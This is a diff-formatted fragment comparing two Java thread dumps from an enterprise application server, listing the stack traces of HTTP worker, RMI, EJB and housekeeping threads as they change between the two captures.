||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-4" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AcceptorThread-8080-1" #85 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #88 daemon [TIMED_WAITING]
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #83 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #107 daemon [TIMED_WAITING]
|
||||
"FlushManager" #53 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
||||
|
||||
"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
@@ -184,73 +130,12 @@ ThreadStacks:
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||
|
||||
"Spark_0" #92 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f3ebe1f
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
|
||||
|
||||
"httpWorkerThread-1900-1" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Connection(1)-192.168.215.4" #102 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
|
||||
at java.security.AccessController.doPrivileged(Native Method)
|
||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"jmsra-WorkerThread-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Spark_7" #99 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4e754aa3
|
||||
"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3e0f54d9
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||
|
||||
"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
"jmsra-WorkerThread-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -264,23 +149,58 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"RMI TCP Accept-6600" #100 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13cb25b2
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
|
||||
"httpWorkerThread-8080-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #68 daemon [TIMED_WAITING]
|
||||
"Stateful cache" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73feb530
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #101 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@2a2fdcad
|
||||
"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fd6d26d
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@457a9090
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:460)
|
||||
@@ -291,45 +211,109 @@ ThreadStacks:
|
||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@408b41b1
|
||||
"httpWorkerThread-8080-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-1900-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6827fecd
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||
|
||||
"Common Lib Watcher" #15 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
|
||||
|
||||
"RMI Reaper" #95 [WAITING] on java.lang.ref.ReferenceQueue$Lock@515b0c1e
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||
|
||||
"httpWorkerThread-1900-3" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"jmsra-WorkerThread-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
|
||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
"AsyncTimeoutThread-8080" #80 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||
"Spark_7" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Spark_6" #92 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Spark_1" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Spark-Acceptor" #85 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||
|
||||
"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
"Spark_4" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"jmsra-WorkerThread-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -343,7 +327,7 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
|
||||
"httpWorkerThread-8080-8" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
|
||||
java.lang.Thread.State: WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||
@@ -357,7 +341,24 @@ ThreadStacks:
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
|
||||
at java.lang.Thread.run(Thread.java:750)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2e7f8751
|
||||
"Spark_0" #86 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1a90bf04
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at sun.misc.Unsafe.park(Native Method)
|
||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
|
||||
at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
|
||||
|
||||
"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||
at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@4d16eb0d
|
||||
java.lang.Thread.State: WAITING
|
||||
at java.lang.Object.wait(Native Method)
|
||||
at java.lang.Object.wait(Object.java:502)
|
||||
@@ -372,7 +373,26 @@ ThreadStacks:
|
||||
at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
|
||||
